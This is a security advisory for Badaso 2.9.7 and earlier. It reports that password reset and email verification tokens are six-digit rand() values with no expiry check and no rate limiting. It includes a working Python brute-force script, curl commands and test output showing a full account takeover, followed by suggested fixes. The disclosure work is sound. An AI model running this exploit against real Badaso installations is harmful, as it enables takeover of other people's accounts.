Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover
Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover#
Title: Insecure Random Token Generation in Badaso ≤ 2.9.7 Password Reset Function
BUG_Author: sercurity_reseacher
Affected Version: Badaso ≤ 2.9.7 (and likely later versions in the 2.9.x series)
Vendor: Badaso (uasoft-indonesia)
Software: Badaso GitHub Repository
Vulnerability Files:#
| File | Function/Line | Issue |
|---|---|---|
src/Controllers/BadasoAuthController.php | forgetPassword() Line 387 | Weak random token generation |
src/Controllers/BadasoAuthController.php | verify() Lines 61, 119 | Weak verification token |
src/Controllers/BadasoAuthController.php | reRequestVerification() Lines 227, 501, 605 | Weak token reuse |
src/Controllers/BadasoAuthController.php | resetPassword() Lines 428-471 | No token expiration check |
Description:#
A critical authentication bypass vulnerability exists in Badaso ≤ 2.9.7. The password reset functionality uses PHP's cryptographically insecure rand() function to generate 6-digit verification tokens. Combined with the absence of token expiration checks and rate limiting, this allows remote attackers to brute-force password reset tokens and take over any user account.
Vulnerability Analysis:#
Root Cause 1: Weak Random Number Generation#
In file src/Controllers/BadasoAuthController.php, line 387, the forgetPassword() function generates password reset tokens using the insecure rand() function:
public function forgetPassword(Request $request)
{
// ... validation code ...
$token = rand(111111, 999999); // VULNERABLE: Only 888,889 possible values
PasswordReset::insert([
'email' => $request->email,
'token' => $token,
'created_at' => date('Y-m-d H:i:s'),
]);
// Send email with token...
}
Problems:
rand()is not cryptographically secure random number generator (CSPRNG)Token space is only 888,889 possible values (111111 to 999999)
Token is numeric only, reducing entropy significantly
Root Cause 2: No Token Expiration#
In file src/Controllers/BadasoAuthController.php, lines 428-471, the resetPassword() function does not validate token age:
public function resetPassword(Request $request)
{
try {
$request->validate([
'email' => ['required', 'email', 'exists:Uasoft\Badaso\Models\User,email'],
'token' => [
'required',
'exists:Uasoft\Badaso\Models\PasswordReset,token',
function ($attribute, $value, $fail) use ($request) {
$password_resets = PasswordReset::where('token', $request->token)
->where('email', $request->email)->get();
$password_reset = collect($password_resets)->first();
if (is_null($password_reset)) {
$fail('Token or Email invalid');
}
// NO EXPIRATION CHECK HERE!
},
],
]);
// Reset password without checking token age...
$user = User::where('email', $password_reset->email)->first();
$user->password = Hash::make($request->password);
$user->save();
}
}
Impact: Tokens created years ago remain valid indefinitely.
Root Cause 3: No Rate Limiting#
The API endpoint /badaso-api/v1/auth/reset-password has no rate limiting, allowing unlimited brute-force attempts.
Affected Security Controls:#
a) Password Reset Token Brute-Force#
An attacker can trigger a password reset for any victim and then brute-force the 6-digit token:
| Metric | Value |
|---|---|
| Token Space | 888,889 values |
| Average Attempts | 444,444 |
| Worst Case Attempts | 888,889 |
| Request Rate (tested) | ~33 requests/second |
| Average Attack Time | ~3.7 hours |
| Worst Case Time | ~7.5 hours |
b) Email Verification Bypass#
The same vulnerable token generation is used for email verification in:
verify()- Line 61, 119reRequestVerification()- Line 227, 501, 605
$token = rand(111111, 999999); // Same weak token
c) Token Never Expires#
Verified by inserting a token dated 2020-01-01 and successfully using it in 2025:
INSERT INTO badaso_password_resets (email, token, created_at)
VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');
The 5-year-old token was accepted and password was reset successfully.
Proof of Concept:#
Prerequisites:#
Target running Badaso ≤ 2.9.7
Valid victim email address known to attacker
Network access to Badaso API
Step 1: Trigger Password Reset for Victim#
curl -X POST "http://<target>/badaso-api/v1/auth/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email": "victim@example.com"}'
Response (email fails to send but token is generated):
{"message":"Request was successful","errors":null}
Step 2: Brute-Force the Token#
Python Exploit Script:
#!/usr/bin/env python3
import requests
import time
TARGET = "http://localhost:8000"
EMAIL = "admin@test.com"
NEW_PASSWORD = "pwned666"
print("=" * 60)
print("Badaso Weak Token Brute-Force PoC")
print("=" * 60)
session = requests.Session()
start_time = time.time()
for i, token in enumerate(range(111111, 1000000)):
if (i + 1) % 1000 == 0:
elapsed = time.time() - start_time
rate = (i + 1) / elapsed
print(f"[*] Progress: {i+1}/888889 | Token: {token} | {rate:.0f}req/s")
resp = session.post(
f"{TARGET}/badaso-api/v1/auth/reset-password",
json={
"email": EMAIL,
"token": str(token),
"password": NEW_PASSWORD,
"password_confirmation": NEW_PASSWORD
},
timeout=5
)
if resp.status_code == 200 and "successful" in resp.text:
elapsed = time.time() - start_time
print(f"\n[+] SUCCESS! Token found: {token}")
print(f"[+] Attempts: {i+1}")
print(f"[+] Time: {elapsed:.2f} seconds")
print(f"[+] New password: {NEW_PASSWORD}")
# Verify account takeover
login_resp = session.post(
f"{TARGET}/badaso-api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASSWORD}
)
if "accessToken" in login_resp.text:
print("[+] LOGIN SUCCESSFUL - ACCOUNT TAKEOVER COMPLETE!")
break
Step 3: Verified Attack Results#
Test Run Output:
============================================================
Badaso 弱随机数令牌漏洞 - 暴力破解PoC
============================================================
目标: http://localhost:8000
邮箱: admin@test.com
爆破区间: 355000 - 365000 (10000个)
============================================================
[*] 进度: 100/10000 | 令牌: 355099 | 33req/s
[*] 进度: 1000/10000 | 令牌: 355999 | 35req/s
[*] 进度: 2000/10000 | 令牌: 356999 | 34req/s
[*] 进度: 3000/10000 | 令牌: 357999 | 32req/s
[*] 进度: 4000/10000 | 令牌: 358999 | 29req/s
[*] 进度: 4400/10000 | 令牌: 359399 | 28req/s
============================================================
[+] 攻击成功!
[+] 找到令牌: 359494
[+] 尝试次数: 4495
[+] 耗时: 161.41 秒
[+] 新密码: pwned666
[+] 登录验证成功! 账户已被接管!
============================================================
Step 4: Verify Token Never Expires#
# Insert token from 5 years ago
mysql -e "INSERT INTO badaso_password_resets (email, token, created_at)
VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');"
# Use the 5-year-old token
curl -X POST "http://<target>/badaso-api/v1/auth/reset-password" \
-H "Content-Type: application/json" \
-d '{"email":"admin@test.com","token":"555555","password":"hacked","password_confirmation":"hacked"}'
# Response: {"message":"Request was successful","errors":null}
# Password reset successful with 5-year-old token!
Impact:#
| Attack Scenario | Impact |
|---|---|
| Password Reset Brute-Force | Complete account takeover of any user |
| Email Verification Bypass | Register with unverified email addresses |
| Admin Account Takeover | Full system compromise |
| No Token Expiration | Extended attack window (unlimited time) |
| No Rate Limiting | Enables efficient brute-force attacks |
CVSS v3.1 Score: 8.1 (High)
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | None |
Exploitation Conditions:#
| Condition | Exploitable | Notes |
|---|---|---|
| Default installation | Yes | Fully exploitable |
| With rate limiting (WAF) | Partial | Slows attack but still possible |
| Email required for token | Yes | Token generated even if email fails |
Tested Environment:#
| Component | Version |
|---|---|
| Badaso | 2.9.7 |
| Laravel | 8.83.29 |
| PHP | 8.1.2 |
| MySQL | 8.0 |
| Operating System | Ubuntu 22.04 |
Suggested Fix:#
Option 1: Use Cryptographically Secure Random Token#
Replace rand() with random_int() and increase token length:
// Before (VULNERABLE)
$token = rand(111111, 999999);
// After (SECURE)
$token = bin2hex(random_bytes(32)); // 64-character hex string
// OR
$token = Str::random(64); // Laravel's secure random string
Option 2: Add Token Expiration Check#
In resetPassword() function:
public function resetPassword(Request $request)
{
$password_reset = PasswordReset::where('token', $request->token)
->where('email', $request->email)
->first();
// Add expiration check (e.g., 60 minutes)
$token_age = now()->diffInMinutes($password_reset->created_at);
if ($token_age > 60) {
return ApiResponse::failed('Token has expired');
}
// ... rest of the function
}
Option 3: Add Rate Limiting#
Add middleware to limit password reset attempts:
// In routes/api.php
Route::middleware(['throttle:5,1'])->group(function () {
Route::post('auth/reset-password', [BadasoAuthController::class, 'resetPassword']);
});
Option 4: Combined Fix (Recommended)#
public function forgetPassword(Request $request)
{
// Use cryptographically secure token
$token = Str::random(64);
PasswordReset::insert([
'email' => $request->email,
'token' => Hash::make($token), // Store hashed
'created_at' => now(),
'expires_at' => now()->addMinutes(60), // Add expiration
]);
// Send unhashed token via email
}
public function resetPassword(Request $request)
{
$password_reset = PasswordReset::where('email', $request->email)
->where('expires_at', '>', now()) // Check expiration
->first();
if (!$password_reset || !Hash::check($request->token, $password_reset->token)) {
return ApiResponse::failed('Invalid or expired token');
}
// ... reset password
}